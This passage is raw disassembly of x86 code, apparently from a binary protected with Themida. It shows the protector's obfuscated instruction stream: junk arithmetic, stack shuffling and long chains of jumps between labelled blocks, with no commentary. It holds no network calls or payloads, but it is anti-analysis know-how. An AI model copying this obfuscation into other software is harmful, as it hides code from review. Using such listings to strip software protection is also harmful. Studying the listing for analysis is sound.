mov esi, [esp]
jmp loc_59F444
; ---------------------------------------------------------------------------
loc_5A4938: ; CODE XREF: Themida_:005A635Aj
mov al, dl
mov ch, al
pop eax
pop edx
mov ah, ch
pop cx
or ah, 1Eh
add ah, 15h
push edx
jmp loc_5AA17D
; ---------------------------------------------------------------------------
loc_5A494E: ; CODE XREF: Themida_:005AE099j
push ebx
jmp loc_59E4CD
; ---------------------------------------------------------------------------
loc_5A4954: ; CODE XREF: Themida_:005A6C08j
pop edx
jmp loc_59DC2B
; ---------------------------------------------------------------------------
loc_5A495A: ; CODE XREF: Themida_:005AA0C4j
; Themida_:005ABF54j
sub eax, 0FD8129Eh
jg loc_59EFDB
xor eax, 1B8A5385h
mov edi, eax
pop eax
jmp loc_59AE1C
; ---------------------------------------------------------------------------
push esi
loc_5A4973: ; CODE XREF: Themida_:00599F50j
xor cl, 20h
sub cl, 0B2h
sub cl, 9Bh
sub al, cl
pop ecx
add al, ch
push edx
push ebx
mov bh, 0F1h
mov dl, bh
jmp loc_5A10F1
; ---------------------------------------------------------------------------
loc_5A498C: ; CODE XREF: Themida_:005AC66Fj
jmp loc_59838C
; ---------------------------------------------------------------------------
loc_5A4991: ; CODE XREF: Themida_:005A4851j
mov edi, edx
mov edx, [esp]
push ebx
push esp
mov ebx, [esp]
add esp, 4
jmp loc_5A0C0F
; ---------------------------------------------------------------------------
loc_5A49A3: ; CODE XREF: Themida_:005A7A6Dj
sub ebx, 66CE398Dh
or ebx, 51FE5C76h
jnp loc_5A7D86
push ebp
jmp loc_5983BE
; ---------------------------------------------------------------------------
loc_5A49BB: ; CODE XREF: Themida_:005A89D6j
mov bh, 93h
inc bh
jns loc_59944F
add bh, 0B1h
jnb loc_59EB3E
neg bh
push ax
mov al, 45h
jmp loc_59B1C7
; ---------------------------------------------------------------------------
loc_5A49D9: ; CODE XREF: Themida_:005A618Fj
sub esp, 4
jmp loc_5AA7D2
; ---------------------------------------------------------------------------
loc_5A49E1: ; CODE XREF: Themida_:0059878Ej
pop ebx
xchg edx, [esp]
jmp loc_5A5120
; ---------------------------------------------------------------------------
loc_5A49EA: ; CODE XREF: Themida_:005A5F13j
mov ebx, [esp]
add esp, 4
jmp loc_5ADC5D
; ---------------------------------------------------------------------------
loc_5A49F5: ; CODE XREF: Themida_:005A2DE3j
mov [esp], ebx
mov bh, 2Bh
push cx
mov cl, bh
not cl
push eax
jmp loc_5ADB16
; ---------------------------------------------------------------------------
loc_5A4A06: ; CODE XREF: Themida_:005A1197j
inc edx
jmp loc_599E61
; ---------------------------------------------------------------------------
loc_5A4A0C: ; CODE XREF: Themida_:005A0FAAj
pop esp
add eax, ecx
jmp loc_5A3D42
; ---------------------------------------------------------------------------
loc_5A4A14: ; CODE XREF: Themida_:005AEE28j
pop eax
jmp loc_59FD6D
; ---------------------------------------------------------------------------
loc_5A4A1A: ; CODE XREF: Themida_:0059872Cj
xor ah, 59h
jmp loc_5A984E
; ---------------------------------------------------------------------------
loc_5A4A22: ; CODE XREF: Themida_:0059ED36j
; Themida_:005AE51Fj
pop ecx
inc esi
sub esp, 4
mov [esp], edi
mov edi, 69F65C4h
add esi, edi
pop edi
add eax, esi
pop esi
xchg eax, [esp]
pop esp
shr eax, 0Bh
xor ecx, eax
push ebx
push ebx
push ecx
push 99372DAh
pop ecx
shr ecx, 6
shr ecx, 5
sub esp, 4
mov [esp], eax
push edi
mov edi, 74275643h
and edi, 15A76411h
jz loc_59F6B4
inc edi
xor edi, 5DB91CE3h
jns loc_5AD26D
not edi
push ecx
mov ecx, 47D687C8h
sub edi, ecx
loc_5A4A7C: ; CODE XREF: Themida_:005ACED0j
xchg esi, [esp]
pop esp
mov [esp], edx
push 21CFh
mov [esp], esp
jmp loc_59A4EE
; ---------------------------------------------------------------------------
loc_5A4A90: ; CODE XREF: Themida_:005A7F63j
mov esp, [esp]
push esi
push 5E5Ch
mov [esp], esp
add dword ptr [esp], 4
pop esi
add esi, 4
sub esi, 4
push esi
push dword ptr [esp+4]
pop esi
pop dword ptr [esp]
pop esp
jmp loc_5A62A3
; ---------------------------------------------------------------------------
loc_5A4ABC: ; CODE XREF: Themida_:005A1966j
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
jmp loc_5AA371
; ---------------------------------------------------------------------------
loc_5A4AD0: ; CODE XREF: Themida_:0059E1E3j
sub eax, 71A46F59h
sub edi, eax
pop eax
jmp loc_5A4C4A
; ---------------------------------------------------------------------------
loc_5A4ADD: ; CODE XREF: Themida_:005AB961j
add eax, edx
pop edx
sub dword ptr [esp+4], 6EA8753Eh
push esi
mov esi, 1AE846F8h
add dword ptr [esp+8], 37380686h
jmp loc_5995AC
; ---------------------------------------------------------------------------
loc_5A4AFB: ; CODE XREF: Themida_:005A7557j
add ebx, 66942AC8h
jmp loc_598510
; ---------------------------------------------------------------------------
loc_5A4B06: ; CODE XREF: Themida_:005A6454j
shl ebx, 3
jz loc_5A8AD8
add ebx, 180241C0h
mov esi, ebx
pop ebx
add esi, 7B757AEh
jnb loc_59E074
jmp loc_5A4ECA
; ---------------------------------------------------------------------------
push 43DAh
pop eax
loc_5A4B2F: ; CODE XREF: Themida_:0059BC25j
sub esi, 1682034Fh
sub esi, 0ED89CB7Ah
add eax, 308F19EAh
sub eax, esi
push edi
mov edi, 58B63ACDh
shr edi, 3
not edi
sub esp, 4
mov [esp], eax
mov eax, 6490458Dh
sub eax, 56D767D9h
jmp loc_59B021
; ---------------------------------------------------------------------------
loc_5A4B65: ; CODE XREF: Themida_:0059A1FCj
sub ecx, 1
add ecx, 0EF38E5FFh
add ebx, 1D0B5241h
sub ebx, ecx
jmp loc_59E737
; ---------------------------------------------------------------------------
loc_5A4B7E: ; CODE XREF: Themida_:005A4179j
; Themida_:005A65E6j
add edx, 749C4715h
jl loc_5A3A49
jmp loc_5986AE
; ---------------------------------------------------------------------------
loc_5A4B8F: ; CODE XREF: Themida_:005A40ADj
sub esi, 768F7F10h
add esi, eax
add esi, 768F7F10h
jmp loc_5984FC
; ---------------------------------------------------------------------------
loc_5A4BA2: ; CODE XREF: Themida_:005996E9j
mov bl, ah
mov eax, [esp]
add esp, 4
mov dl, bl
pop ebx
sub bl, 68h
sub bl, dl
add bl, 68h
pop edx
movzx eax, al
push dword ptr [edi+eax*4]
jmp loc_5A3308
; ---------------------------------------------------------------------------
loc_5A4BC1: ; CODE XREF: Themida_:0059FB4Cj
xor [esp], ecx
xor ecx, [esp]
mov esp, [esp]
mov cx, [esp]
push 2EA0h
mov [esp], edx
jmp loc_5A6F73
; ---------------------------------------------------------------------------
loc_5A4BDB: ; CODE XREF: Themida_:005A3E31j
; Themida_:005AEAF0j
mov esi, esp
jmp loc_5AD71D
; ---------------------------------------------------------------------------
loc_5A4BE2: ; CODE XREF: Themida_:005AE960j
mov ebx, [esp]
add esp, 4
sub [edi+20h], eax
push dword ptr [esp]
pop eax
add esp, 4
loc_5A4BF8: ; CODE XREF: Themida_:0059BD87j
; Themida_:005A7806j
push dword ptr [esp]
pop ebx
push ecx
mov ecx, esp
jmp loc_5A90F1
; ---------------------------------------------------------------------------
loc_5A4C04: ; CODE XREF: Themida_:005A0958j
; Themida_:005A167Bj
pop esp
movsx ecx, al
jmp loc_5A9408
; ---------------------------------------------------------------------------
loc_5A4C0D: ; CODE XREF: Themida_:005A6D3Ej
mov [esp], esp
add dword ptr [esp], 4
jmp loc_5AC622
; ---------------------------------------------------------------------------
loc_5A4C1C: ; CODE XREF: Themida_:0059C012j
; Themida_:005AC486j
pop eax
and edx, 61910B7Eh
jmp loc_59F860
; ---------------------------------------------------------------------------
loc_5A4C28: ; CODE XREF: Themida_:005AE9D4j
mov [esp], ecx
push 79941815h
pop ecx
jmp loc_5A6330
; ---------------------------------------------------------------------------
loc_5A4C36: ; CODE XREF: Themida_:005A17CAj
sub esp, 4
mov [esp], eax
mov ah, 39h
xor cl, ah
pop eax
push eax
jmp loc_5A2D2A
; ---------------------------------------------------------------------------
loc_5A4C4A: ; CODE XREF: Themida_:005A4AD8j
add edx, edi
pop edi
add edx, edi
sub edx, 5FA1609Dh
push ebx
mov bh, al
push eax
mov eax, 0
add eax, 4F2647DDh
jmp loc_5A5067
; ---------------------------------------------------------------------------
loc_5A4C68: ; CODE XREF: Themida_:0059AC4Bj
dec esi
dec esi
add esi, 229972Fh
sub ebx, esi
pop esi
jmp loc_5A7D4A
; ---------------------------------------------------------------------------
loc_5A4C78: ; CODE XREF: Themida_:005AD291j
xor ecx, eax
pop eax
mov ebx, ecx
jmp loc_5A9C28
; ---------------------------------------------------------------------------
loc_5A4C82: ; CODE XREF: Themida_:005AA643j
add ecx, 4
sub ecx, 4
xchg ecx, [esp]
pop esp
mov [esp], eax
push ebx
mov ebx, 5A5F5CF7h
jmp loc_5A7B25
; ---------------------------------------------------------------------------
loc_5A4C9D: ; CODE XREF: Themida_:005A3B41j
mov ebx, 1AA31A3h
add eax, ebx
pop ebx
jmp loc_5A2F3C
; ---------------------------------------------------------------------------
loc_5A4CAA: ; CODE XREF: Themida_:005AA073j
push 60FDh
jmp loc_5A0EE8
; ---------------------------------------------------------------------------
loc_5A4CB4: ; CODE XREF: Themida_:005A11DEj
push dword ptr [esp]
pop edi
jmp loc_5A99B4
; ---------------------------------------------------------------------------
loc_5A4CBD: ; CODE XREF: Themida_:005A6E38j
pop ebx
push ecx
jmp loc_59AC3B
; ---------------------------------------------------------------------------
loc_5A4CC4: ; CODE XREF: Themida_:0059AADDj
add ebp, 4
add ebp, 4
jmp loc_5A5ECD
; ---------------------------------------------------------------------------
loc_5A4CD5: ; CODE XREF: Themida_:0059F93Cj
push 3AC9h
mov [esp], edi
push ebp
push 6CA96F5Ch
pop ebp
and ebp, 1030713Bh
jl loc_59D78D
neg ebp
add ebp, 48A56DFCh
mov edi, ebp
pop ebp
neg edi
push ecx
push esi
push 5B576F25h
pop esi
shr esi, 8
add esi, 4CB20BBCh
sub esi, 95927013h
mov ecx, esi
pop esi
xor edi, ecx
pop ecx
jmp loc_5A704B
; ---------------------------------------------------------------------------
push dword ptr [edi+40h]
jmp loc_59838C
; ---------------------------------------------------------------------------
loc_5A4D27: ; CODE XREF: Themida_:005AC204j
shr ebp, 1
add ebp, 0D9AED867h
add edx, ebp
pop ebp
sub ecx, edx
jmp loc_5ABB37
; ---------------------------------------------------------------------------
loc_5A4D39: ; CODE XREF: Themida_:005AA2CBj
; Themida_:005AD9A3j
add ecx, 2E537FDDh
add ecx, edx
sub ecx, 2E537FDDh
pop edx
push edx
mov edx, 4
add ecx, edx
jmp loc_59F72B
; ---------------------------------------------------------------------------
loc_5A4D55: ; CODE XREF: Themida_:005A7697j
sub dh, 0F5h
add dh, ch
add dh, 0F5h
jmp loc_5A9A91
; ---------------------------------------------------------------------------
loc_5A4D62: ; CODE XREF: Themida_:005A9A3Aj
push eax
mov eax, 279F35BAh
add eax, 15BA4F9Ah
add eax, 0C2A67AADh
jmp loc_5A8567
; ---------------------------------------------------------------------------
loc_5A4D77: ; CODE XREF: Themida_:0059EE48j
mov ebp, 4E082551h
inc ebp
add ebp, 0B1F7DAB2h
add ecx, ebp
jmp loc_5A7D0A
; ---------------------------------------------------------------------------
loc_5A4D8A: ; CODE XREF: Themida_:005AD91Dj
pop dword ptr [esp]
mov esp, [esp]
jmp loc_5A36FE
; ---------------------------------------------------------------------------
push dword ptr [esp]
mov eax, [esp]
jmp loc_5AB772
; ---------------------------------------------------------------------------
loc_5A4DA0: ; CODE XREF: Themida_:005985F1j
push edx
mov edx, esp
add edx, 4
sub edx, 4
xchg edx, [esp]
pop esp
mov [esp], esp
add dword ptr [esp], 4
pop ebp
jmp loc_5A1A48
; ---------------------------------------------------------------------------
loc_5A4DC0: ; CODE XREF: Themida_:005A5493j
push esi
mov esi, 1AC71B6Ch
jmp loc_5AD9DD
; ---------------------------------------------------------------------------
loc_5A4DCB: ; CODE XREF: Themida_:005AC3B9j
mov edx, 1F550FCBh
jmp loc_5A02B9
; ---------------------------------------------------------------------------
loc_5A4DD5: ; CODE XREF: Themida_:005A80D4j
js loc_5A306B
push 79D3h
mov [esp], edi
mov edi, 4FEA3936h
sub esp, 4
mov [esp], ebx
push esp
jmp loc_59E9B8
; ---------------------------------------------------------------------------
lodsb
xor al, bl
push 2901h
mov [esp], ebp
sub esp, 4
mov [esp], esp
push ecx
mov ecx, 4
add [esp+4], ecx
pop ecx
mov ebp, [esp]
add esp, 4
jmp loc_59BA05
; ---------------------------------------------------------------------------
loc_5A4E21: ; CODE XREF: Themida_:005997A5j
xor ebp, 2FB67178h
add ebp, 54E09843h
add esi, 63660AF6h
add esi, ebp
sub esi, 63660AF6h
pop ebp
add esi, 602009FBh
add esi, edx
sub esi, 602009FBh
jmp loc_5ACD90
; ---------------------------------------------------------------------------
loc_5A4E4F: ; CODE XREF: Themida_:005A103Bj
mov [esp], edi
mov edi, esp
jmp loc_5A30F3
; ---------------------------------------------------------------------------
loc_5A4E59: ; CODE XREF: Themida_:0059DF25j
; Themida_:005A119Ej
add esp, 4
push 2410h
mov [esp], eax
jmp loc_5AF075
; ---------------------------------------------------------------------------
loc_5A4E69: ; CODE XREF: Themida_:0059BB54j
jmp loc_5A8A6B
; ---------------------------------------------------------------------------
loc_5A4E6E: ; CODE XREF: Themida_:005A7CD6j
push esi
push edx
push 4AA27CD3h
pop edx
xor edx, 0A012901h
sub edx, 631877FBh
mov esi, edx
pop edx
jmp loc_5AA5E6
; ---------------------------------------------------------------------------
loc_5A4E8A: ; CODE XREF: Themida_:0059C22Ej
push dword ptr [esp]
pop ecx
push eax
jmp loc_59EA76
; ---------------------------------------------------------------------------
loc_5A4E94: ; CODE XREF: Themida_:005A1B03j
jz loc_59E407
add ecx, 5EC81022h
mov ebx, ecx
pop ecx
neg ebx
sub esp, 4
jmp loc_59D529
; ---------------------------------------------------------------------------
loc_5A4EB0: ; CODE XREF: Themida_:005A645Bj
push ecx
mov cl, 0E2h
jmp loc_5A6844
; ---------------------------------------------------------------------------
loc_5A4EB8: ; CODE XREF: Themida_:005A270Ej
; Themida_:005A39F9j
or ebp, 568A3A16h
jmp loc_5AA74A
; ---------------------------------------------------------------------------
loc_5A4EC3: ; CODE XREF: Themida_:005A637Cj
mov ebp, esp
jmp loc_59C618
; ---------------------------------------------------------------------------
loc_5A4ECA: ; CODE XREF: Themida_:0059B235j
; Themida_:005A4B24j
sub esp, 4
mov [esp], eax
mov ah, 0ECh
push edx
mov dh, 0C8h
or dh, 32h
and dh, 57h
shr dh, 2
neg dh
push ecx
jmp loc_5A3BF0
; ---------------------------------------------------------------------------
loc_5A4EE9: ; CODE XREF: Themida_:005AC8C1j
jmp loc_5A557A
; ---------------------------------------------------------------------------
loc_5A4EEE: ; CODE XREF: Themida_:005AB1BBj
pop dword ptr [esp]
pop esp
jmp loc_5A6C42
; ---------------------------------------------------------------------------
loc_5A4EF7: ; CODE XREF: Themida_:0059E85Ej
xchg ebp, [esp]
pop esp
mov [esp], esi
jmp loc_59B8CA
; ---------------------------------------------------------------------------
loc_5A4F03: ; CODE XREF: Themida_:005A2E3Aj
sub esi, 53B1397Bh
sub esi, 0E4F43654h
add eax, esi
pop esi
sub esp, 4
mov [esp], eax
xor dword ptr [esp], 48363CF6h
mov esi, [esp]
add esp, 4
push edi
mov edi, 2F02F11h
shl edi, 2
xor edi, 43F680B2h
xor esi, edi
jmp loc_5A0AA9
; ---------------------------------------------------------------------------
loc_5A4F41: ; CODE XREF: Themida_:005ACFF0j
; Themida_:loc_5AD96Fj
push ebx
mov ebx, 498513F0h
add ebx, 0FFFFFFFFh
and ebx, 1AD812DAh
add ebx, 0F77FED3Ah
add ebp, ebx
pop ebx
push 4974h
mov [esp], ecx
jmp loc_5A52EA
; ---------------------------------------------------------------------------
loc_5A4F66: ; CODE XREF: Themida_:005A96D0j
push dword ptr [esp+4]
pop ebp
pop dword ptr [esp]
mov esp, [esp]
add eax, 4
add eax, 2
xor eax, [esp]
jmp loc_5A293E
; ---------------------------------------------------------------------------
loc_5A4F81: ; CODE XREF: Themida_:00598769j
sub ebx, 1DB97310h
mov edx, [esp]
push eax
jmp loc_5AAB68
; ---------------------------------------------------------------------------
loc_5A4F90: ; CODE XREF: Themida_:005A28D9j
shl cl, 7
jmp loc_598F13
; ---------------------------------------------------------------------------
loc_5A4F98: ; CODE XREF: Themida_:0059B9C8j
and edx, 5CA5311Eh
push ecx
mov ecx, 5F9A6739h
sub esp, 4
mov [esp], edi
jmp loc_5A088F
; ---------------------------------------------------------------------------
loc_5A4FAF: ; CODE XREF: Themida_:0059E8F9j
; Themida_:005A80AEj
add ebx, 4
sub ebx, 4
xchg ebx, [esp]
jmp loc_5A12ED
; ---------------------------------------------------------------------------
loc_5A4FC0: ; CODE XREF: Themida_:0059DF47j
xor edi, 71C61AC3h
jbe loc_5A6055
add edi, 0F8160DDCh
mov edx, edi
jmp loc_5A08F1
; ---------------------------------------------------------------------------
loc_5A4FD9: ; CODE XREF: Themida_:0059AB9Aj
or ecx, 55136896h
jmp loc_5A7CEE
; ---------------------------------------------------------------------------
loc_5A4FE4: ; CODE XREF: Themida_:005A4798j
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
push ebp
mov ebp, esp
add ebp, 4
push 6B7Bh
mov [esp], edi
mov edi, esp
add edi, 4
push edx
mov edx, 243F75BDh
jmp loc_5A760F
; ---------------------------------------------------------------------------
loc_5A501B: ; CODE XREF: Themida_:0059C4E3j
not esi
sub esi, 6859351Fh
sub esi, 0FFFFFFFFh
push eax
mov eax, 873D9F35h
sub esi, eax
pop eax
add eax, esi
pop esi
sub eax, ebx
push edx
mov edx, 116F39D4h
sub eax, edx
jmp loc_59A822
; ---------------------------------------------------------------------------
loc_5A5041: ; CODE XREF: Themida_:005A7CE9j
sub ecx, 88724CFEh
add ebx, 104A07ACh
add ebx, ecx
sub ebx, 104A07ACh
jmp loc_59FFC8
; ---------------------------------------------------------------------------
loc_5A505A: ; CODE XREF: Themida_:0059FA1Bj
mov edi, ebx
mov ebx, [esp]
push ebx
mov ebx, esp
jmp loc_5A0A9E
; ---------------------------------------------------------------------------
loc_5A5067: ; CODE XREF: Themida_:005A4C63j
add eax, edx
push edi
mov edi, 4F2647DDh
sub eax, edi
pop edi
mov [eax], bh
jmp loc_5A5CB0
; ---------------------------------------------------------------------------
loc_5A5079: ; CODE XREF: Themida_:005A4716j
push ebx
push dword ptr [esp+4]
pop ebx
jmp loc_5A1D78
; ---------------------------------------------------------------------------
loc_5A5084: ; CODE XREF: Themida_:005AA8BDj
add ebx, 4
xchg ebx, [esp]
jmp loc_59C6E4
; ---------------------------------------------------------------------------
loc_5A5092: ; CODE XREF: Themida_:0059A3E3j
sub esp, 4
mov [esp], eax
push ebp
jmp loc_5A0185
; ---------------------------------------------------------------------------
loc_5A509E: ; CODE XREF: Themida_:005A4361j
add eax, 48AD118Ch
push edx
mov edx, esp
push ebx
mov ebx, 4
add edx, ebx
pop ebx
jmp loc_5A50D3
; ---------------------------------------------------------------------------
loc_5A50B4: ; CODE XREF: Themida_:00598D7Bj
; Themida_:005AC801j
shr esi, 7
neg esi
jp loc_59ED04
add esi, 22C8E3C7h
and cl, 6Eh
pop esi
loc_5A50C9: ; CODE XREF: Themida_:005A10ECj
mov ebx, 0D5D24BB5h
jmp loc_5A8205
; ---------------------------------------------------------------------------
loc_5A50D3: ; CODE XREF: Themida_:005A50AFj
push edi
jmp loc_59B3F6
; ---------------------------------------------------------------------------
loc_5A50D9: ; CODE XREF: Themida_:005AECE4j
mov eax, esp
jmp loc_5A22CD
; ---------------------------------------------------------------------------
push ebp
push 2234h
mov [esp], ebx
mov ebx, 2C89768Dh
mov ebp, ebx
push dword ptr [esp]
pop ebx
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
sub esp, 4
mov [esp], esi
mov esi, 7DF6E6Ch
xor esi, 0D4A9E31Fh
jmp loc_5A9547
; ---------------------------------------------------------------------------
loc_5A5120: ; CODE XREF: Themida_:005A49E5j
mov esp, [esp]
mov [esp], ebx
push esp
pop ebx
jmp loc_59C353
; ---------------------------------------------------------------------------
loc_5A512D: ; CODE XREF: Themida_:005ADC0Dj
mov esi, 1D834633h
push ebx
mov ebx, 2B371C6Ah
jmp loc_5A838F
; ---------------------------------------------------------------------------
loc_5A513D: ; CODE XREF: Themida_:005AA6E2j
pop ebp
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
pop esp
xchg ebx, [esp]
mov esp, [esp]
push dword ptr [esp]
mov eax, [esp]
push ebp
push esp
push dword ptr [esp]
pop ebp
push edx
mov edx, esp
jmp loc_5A71B4
; ---------------------------------------------------------------------------
loc_5A5162: ; CODE XREF: Themida_:005AB6FFj
mov [esp], edi
mov edi, edx
mov ebx, edi
pop edi
pop edx
jmp loc_59CD4F
; ---------------------------------------------------------------------------
loc_5A5170: ; CODE XREF: Themida_:005AC24Bj
push dword ptr [esp]
pop ebx
push ebx
mov ebx, esp
sub esp, 4
jmp loc_59C29A
; ---------------------------------------------------------------------------
loc_5A517F: ; CODE XREF: Themida_:005A7158j
xor ebp, [esp]
jmp loc_59DB67
; ---------------------------------------------------------------------------
loc_5A5187: ; CODE XREF: Themida_:005ACF13j
push esp
pop ebp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
add ebx, edx
push dword ptr [esp]
pop edx
add esp, 4
add ebx, 2
push ebx
push dword ptr [esp+4]
jmp loc_599E99
; ---------------------------------------------------------------------------
loc_5A51B2: ; CODE XREF: Themida_:005AB3E0j
push eax
mov eax, 3BA85537h
shl eax, 7
shl eax, 6
xor eax, 0AA6E004h
add ecx, eax
jmp loc_599F9E
; ---------------------------------------------------------------------------
loc_5A51CA: ; CODE XREF: Themida_:005A14A0j
pop edi
inc ebx
push ecx
mov ecx, 3D8B4462h
xor ebx, ecx
pop ecx
add esi, ebx
jmp loc_5AB6AA
; ---------------------------------------------------------------------------
loc_5A51DC: ; CODE XREF: Themida_:005AEDF7j
pop edi
jmp loc_5A9652
; ---------------------------------------------------------------------------
loc_5A51E2: ; CODE XREF: Themida_:005A7C97j
add edi, 466673AAh
jnp loc_5A3636
sub edi, 48DC7EE8h
mov ebx, edi
jmp loc_59B37F
; ---------------------------------------------------------------------------
push ecx
loc_5A51FC: ; CODE XREF: Themida_:005AE5C1j
push 1C55h
mov [esp], ebp
mov ebp, 1A0B18D9h
push edi
mov edi, 1A0B18D5h
sub ebp, edi
pop edi
jmp loc_59DA8F
; ---------------------------------------------------------------------------
loc_5A5217: ; CODE XREF: Themida_:005A8531j
xor ebx, 18A25B1Dh
mov ecx, ebx
pop ebx
jmp loc_59EF24
; ---------------------------------------------------------------------------
mov ax, [esp]
push 0CF4h
mov [esp], ebx
push 313Ch
mov [esp], esp
add dword ptr [esp], 4
pop ebx
push edi
push ebx
push 52A12154h
mov ebx, [esp]
jmp loc_5A9701
; ---------------------------------------------------------------------------
loc_5A524D: ; CODE XREF: Themida_:005A0683j
jg loc_5AC5D2
jmp loc_5ABB16
; ---------------------------------------------------------------------------
loc_5A5258: ; CODE XREF: Themida_:005A4270j
add eax, ecx
jmp loc_59FBC4
; ---------------------------------------------------------------------------
loc_5A525F: ; CODE XREF: Themida_:005AB2AAj
pop eax
push edx
mov dh, ch
push ecx
push ebx
mov bl, dh
mov cl, bl
pop ebx
mov [edi+eax*4], cl
pop ecx
pop edx
mov ecx, [esp]
jmp loc_5ABAF9
; ---------------------------------------------------------------------------
loc_5A5277: ; CODE XREF: Themida_:0059BC34j
xor [esp], edx
xor edx, [esp]
mov esp, [esp]
and esi, 42B94FF1h
jmp loc_5AF311
; ---------------------------------------------------------------------------
loc_5A528B: ; CODE XREF: Themida_:0059B6B0j
push 7853h
jmp loc_5A1BAF
; ---------------------------------------------------------------------------
push 319Ch
mov [esp], eax
sub esp, 4
jmp loc_5A72DD
; ---------------------------------------------------------------------------
loc_5A52A8: ; CODE XREF: Themida_:005A08B1j
or eax, 0A9E702Dh
push ecx
mov ecx, 0DE216C28h
jmp loc_59A09E
; ---------------------------------------------------------------------------
loc_5A52B8: ; CODE XREF: Themida_:0059E9A5j
shr ah, 1
jp loc_5AA473
jmp loc_5A8FDE
; ---------------------------------------------------------------------------
loc_5A52C5: ; CODE XREF: Themida_:00599BDDj
pop ebx
sub ebp, 609F4F07h
jle loc_5A3684
neg ebp
jg loc_5ADF19
jmp loc_5A912F
; ---------------------------------------------------------------------------
push ecx
loc_5A52E0: ; CODE XREF: Themida_:005A490Cj
push 11E7h
jmp loc_5A9A89
; ---------------------------------------------------------------------------
loc_5A52EA: ; CODE XREF: Themida_:005A4F61j
push 56EBh
jmp loc_5A564A
; ---------------------------------------------------------------------------
loc_5A52F4: ; CODE XREF: Themida_:005AD1F3j
mov esp, [esp]
bts [esp], ax
pushf
jmp loc_59838C
; ---------------------------------------------------------------------------
loc_5A5302: ; CODE XREF: Themida_:0059D825j
sub ebx, 4
jmp loc_59B22E
; ---------------------------------------------------------------------------
loc_5A530A: ; CODE XREF: Themida_:005A99AFj
; Themida_:005A9F0Aj
pop esp
jmp loc_59838C
; ---------------------------------------------------------------------------
loc_5A5310: ; CODE XREF: Themida_:005A092Bj
shr edx, 4
jmp loc_5A2D11
; ---------------------------------------------------------------------------
loc_5A5318: ; CODE XREF: Themida_:005AD183j
pop ecx
jmp loc_5A3CC3
; ---------------------------------------------------------------------------
loc_5A531E: ; CODE XREF: Themida_:005A08E5j
mov [esp], edi
mov edi, esp
jmp loc_5AAECD
; ---------------------------------------------------------------------------
loc_5A5328: ; CODE XREF: Themida_:0059E087j
sub edx, 4CE67444h
shl edx, 8
jns loc_59DC0A
jmp loc_5A0421
; ---------------------------------------------------------------------------
loc_5A533C: ; CODE XREF: Themida_:005A2298j
push 68B85815h
pop eax
push eax
inc dword ptr [esp]
pop eax
jmp loc_5A9AA5
; ---------------------------------------------------------------------------
loc_5A534C: ; CODE XREF: Themida_:005A85AAj
mov eax, [esp]
add esp, 4
jmp loc_59C374
; ---------------------------------------------------------------------------
lodsd
push 3535h
mov [esp], ebp
mov ebp, 4AE65506h
add eax, 5ADF77EBh
push edx
mov edx, 76CD02EEh
add edx, 3EFD2E94h
jmp loc_59EF11
; ---------------------------------------------------------------------------
loc_5A537B: ; CODE XREF: Themida_:0059D882j
push 6ECFh
mov [esp], esi
push dword ptr [esp+4]
jmp loc_5AA4C8
; ---------------------------------------------------------------------------
loc_5A538C: ; CODE XREF: Themida_:0059BA28j
mov dl, 2
jmp loc_5A9178
; ---------------------------------------------------------------------------
loc_5A5393: ; CODE XREF: Themida_:00598CAEj
; Themida_:005A5ED6j
mov esp, [esp]
sub esp, 4
mov [esp], ecx
push 495Ch
mov [esp], esi
push 6DE22DC9h
push dword ptr [esp]
pop esi
jmp loc_5A622A
; ---------------------------------------------------------------------------
loc_5A53B5: ; CODE XREF: Themida_:005A6B5Ej
mov bl, 0B9h
add bl, 38h
add bl, 0BEh
xor bl, 57h
sub cl, bl
pop ebx
mov dx, [esp]
jmp loc_5A1036
; ---------------------------------------------------------------------------
loc_5A53CC: ; CODE XREF: Themida_:005AA623j
push ecx
push edi
push 73953FB1h
mov edi, [esp]
add esp, 4
push ecx
mov ecx, 6FAA4F8Dh
xor edi, ecx
jmp loc_5AA53A
; ---------------------------------------------------------------------------
loc_5A53E9: ; CODE XREF: Themida_:0059E4F1j
; Themida_:0059EFB1j
sub edi, ebx
pop ebx
jmp loc_5AE572
; ---------------------------------------------------------------------------
loc_5A53F1: ; CODE XREF: Themida_:0059B317j
pop eax
not eax
inc eax
push edi
mov edi, 356E453Bh
add edi, 35AF1C1h
add eax, edi
pop edi
push eax
pop ecx
jmp loc_5AAF82
; ---------------------------------------------------------------------------
loc_5A540B: ; CODE XREF: Themida_:0059935Aj
mov [esp], ecx
push dword ptr [esp+4]
jmp loc_59FB59
; ---------------------------------------------------------------------------
loc_5A5417: ; CODE XREF: Themida_:005A6507j
pop edx
add esp, 4
push 52D3h
mov [esp], esi
mov esi, esp
jmp loc_5AF185
; ---------------------------------------------------------------------------
loc_5A542D: ; CODE XREF: Themida_:005A8880j
mov ecx, [esp]
jmp loc_59F524
; ---------------------------------------------------------------------------
loc_5A5435: ; CODE XREF: Themida_:005990D5j
mov ecx, 106B5BEAh
or esi, ecx
pop ecx
push eax
mov eax, 2CD67760h
add esi, eax
mov eax, [esp]
add esp, 4
jmp loc_5AD851
; ---------------------------------------------------------------------------
loc_5A5453: ; CODE XREF: Themida_:005AA5E1j
pop eax
add ebp, ebx
mov ebx, [esp]
jmp loc_5A3422
; ---------------------------------------------------------------------------
loc_5A545E: ; CODE XREF: Themida_:005ACC94j
xchg ebx, [esp]
mov esp, [esp]
or eax, eax
jz loc_5990A9
push dword ptr [edi+1Ch]
push ebp
push ebx
push 7E5776C1h
pop ebx
sub esp, 4
mov [esp], edi
push 818h
mov [esp], esi
mov esi, 2CA45DAh
mov edi, esi
pop esi
shr edi, 3
jnz loc_5A4DC0
push esi
mov esi, 1AC71B6Ch
jmp loc_5A5E08
; ---------------------------------------------------------------------------
loc_5A54A4: ; CODE XREF: Themida_:0059D788j
xchg esi, [esp]
pop esp
jmp loc_5A7D86
; ---------------------------------------------------------------------------
loc_5A54AD: ; CODE XREF: Themida_:0059D26Aj
; Themida_:005A7458j
not eax
or eax, 48C12A85h
jmp loc_59897C
; ---------------------------------------------------------------------------
loc_5A54B9: ; CODE XREF: Themida_:0059B9ABj
pop edi
push 3840h
mov [esp], esi
push ecx
mov ecx, 4AA54861h
mov esi, 4AA54865h
sub esi, ecx
jmp loc_5A2CD4
; ---------------------------------------------------------------------------
loc_5A54D4: ; CODE XREF: Themida_:0059A550j
